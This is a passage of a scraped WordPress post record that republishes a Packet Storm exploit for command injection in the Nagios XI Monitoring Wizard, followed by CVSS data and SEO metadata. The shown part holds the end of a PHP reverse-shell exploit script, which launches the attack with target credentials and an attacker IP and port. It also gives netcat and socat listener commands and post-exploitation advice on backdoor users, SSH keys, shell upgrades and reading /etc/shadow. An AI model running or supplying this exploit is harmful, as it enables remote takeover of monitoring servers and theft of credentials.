&#8216;info&#8217;);\\n        print_status(\\&#8221;Netcat: nc -lvnp \\&#8221; . $port, &#8216;info&#8217;);\\n        print_status(\\&#8221;rlwrap Netcat (for better shell): rlwrap nc -lvnp \\&#8221; . $port, &#8216;info&#8217;);\\n        print_status(\\&#8221;Socat: socat TCP-LISTEN:\\&#8221; . $port . \\&#8221;,reuseaddr,fork EXEC:\/bin\/bash\\&#8221;, &#8216;info&#8217;);\\n        print_status(\\&#8221;\\\\nWaiting 10 seconds before starting exploit&#8230;\\&#8221;, &#8216;info&#8217;);\\n        sleep(10);\\n    }\\n    \\n    \/\/ ==============================\\n    \/\/ \u0627\u0644\u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0631\u0626\u064a\u0633\u064a\\n    \/\/ ==============================\\n    \\n    \/\/ \u0625\u0638\u0647\u0627\u0631 banner\\n    echo \\&#8221;\\\\n\\&#8221;;\\n    print_status(\\&#8221;=====================================================\\&#8221;, &#8216;info&#8217;);\\n    print_status(\\&#8221;NAGIOS XI REVERSE SHELL EXPLOIT\\&#8221;, &#8216;info&#8217;);\\n    print_status(\\&#8221;CVE: Multiple (Command Injection in Monitoring Wizard)\\&#8221;, &#8216;info&#8217;);\\n    print_status(\\&#8221;                      by indoushka                    \\&#8221;, &#8216;info&#8217;);\\n    print_status(\\&#8221;=====================================================\\\\n\\&#8221;, &#8216;info&#8217;);\\n    \\n    \/\/ \u0646\u0635\u0627\u0626\u062d \u0642\u0628\u0644 \u0627\u0644\u0628\u062f\u0621\\n    print_status(\\&#8221;[!] PREREQUISITES:\\&#8221;, &#8216;warning&#8217;);\\n    print_status(\\&#8221;1. Make sure you have a listener running on \\&#8221; . $attacker_ip . \\&#8221;:\\&#8221; . $attacker_port, &#8216;info&#8217;);\\n    print_status(\\&#8221;2. Valid Nagios XI credentials required\\&#8221;, &#8216;info&#8217;);\\n    print_status(\\&#8221;3. Target must be vulnerable to command injection\\&#8221;, &#8216;info&#8217;);\\n    \\n    echo \\&#8221;\\\\n\\&#8221;;\\n    print_status(\\&#8221;Starting exploit in 5 seconds&#8230;\\&#8221;, &#8216;info&#8217;);\\n    print_status(\\&#8221;Press Ctrl+C to cancel\\&#8221;, &#8216;warning&#8217;);\\n    sleep(5);\\n    \\n    \/\/ \u0628\u062f\u0621 \u0627\u0644\u0647\u062c\u0648\u0645\\n    $result = exploit_nagios($target_url, $username, $password, $attacker_ip, $attacker_port);\\n    \\n    \/\/ \u0646\u062a\u064a\u062c\u0629 \u0646\u0647\u0627\u0626\u064a\u0629\\n    echo \\&#8221;\\\\n\\&#8221;;\\n    if ($result) {\\n        print_status(\\&#8221;Exploitation completed successfully!\\&#8221;, &#8216;success&#8217;);\\n        print_status(\\&#8221;Check your listener for reverse shell connection\\&#8221;, &#8216;success&#8217;);\\n    } else {\\n        print_status(\\&#8221;Exploitation failed. Review the errors above.\\&#8221;, &#8216;error&#8217;);\\n    }\\n    \\n    \/\/ \u0646\u0635\u0627\u0626\u062d \u0625\u0636\u0627\u0641\u064a\u0629 \u0644\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u0645\u062a\u0642\u062f\u0645\\n    echo \\&#8221;\\\\n\\&#8221;;\\n    print_status(\\&#8221;[+] ADVANCED EXPLOITATION TIPS:\\&#8221;, &#8216;info&#8217;);\\n    print_status(\\&#8221;1. For persistent access, add SSH key or create backdoor user\\&#8221;, &#8216;info&#8217;);\\n    print_status(\\&#8221;2. Use encryption: socat with SSL or cryptcat\\&#8221;, &#8216;info&#8217;);\\n    print_status(\\&#8221;3. Upgrade shell: python -c &#8216;import pty; pty.spawn(\\\\\\&#8221;\/bin\/bash\\\\\\&#8221;)&#8217;\\&#8221;, &#8216;info&#8217;);\\n    print_status(\\&#8221;4. Check for sensitive files: \/etc\/passwd, \/etc\/shadow, nagios configs\\&#8221;, &#8216;info&#8217;);\\n    print_status(\\&#8221;5. Look for other Nagios vulnerabilities for privilege escalation\\&#8221;, &#8216;info&#8217;);\\n    \\n    exit($result ? 0 : 1);\\n    \\n    ?\\u003e\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/214917&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.8,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/214917\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-04T17:31:00&#8243;,&#8221;description&#8221;:&#8221;Nagios XI is a widely used enterprise monitoring solution. A vulnerability exists within the Monitoring Wizard configuration page where the database parameter is unsafely passed&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-39063","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Nagios XI Monitoring Wizard Command Injection_PACKETSTORM:214917 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=39063\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Nagios XI Monitoring Wizard Command Injection_PACKETSTORM:214917 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-04T17:31:00&#8243;,&#8221;description&#8221;:&#8221;Nagios XI is a widely used enterprise monitoring solution. A vulnerability exists within the Monitoring Wizard configuration page where the database parameter is unsafely passed...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=39063\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-04T11:50:00+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"14 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39063#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39063\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Nagios XI Monitoring Wizard Command Injection_PACKETSTORM:214917\",\"datePublished\":\"2026-02-04T11:50:00+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39063\"},\"wordCount\":2691,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.8\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=39063#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39063\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39063\",\"name\":\"\ud83d\udcc4 Nagios XI Monitoring Wizard Command Injection_PACKETSTORM:214917 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-04T11:50:00+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39063#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=39063\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39063#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Nagios XI Monitoring Wizard Command Injection_PACKETSTORM:214917\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Nagios XI Monitoring Wizard Command Injection_PACKETSTORM:214917 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=39063","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Nagios XI Monitoring Wizard Command Injection_PACKETSTORM:214917 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-04T17:31:00&#8243;,&#8221;description&#8221;:&#8221;Nagios XI is a widely used enterprise monitoring solution. A vulnerability exists within the Monitoring Wizard configuration page where the database parameter is unsafely passed...","og_url":"https:\/\/zero.redgem.net\/?p=39063","og_site_name":"zero redgem","article_published_time":"2026-02-04T11:50:00+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"14 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=39063#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=39063"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Nagios XI Monitoring Wizard Command Injection_PACKETSTORM:214917","datePublished":"2026-02-04T11:50:00+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=39063"},"wordCount":2691,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.8","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=39063#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=39063","url":"https:\/\/zero.redgem.net\/?p=39063","name":"\ud83d\udcc4 Nagios XI Monitoring Wizard Command Injection_PACKETSTORM:214917 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-04T11:50:00+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=39063#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=39063"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=39063#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Nagios XI Monitoring Wizard Command Injection_PACKETSTORM:214917"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/39063","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=39063"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/39063\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=39063"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=39063"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=39063"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}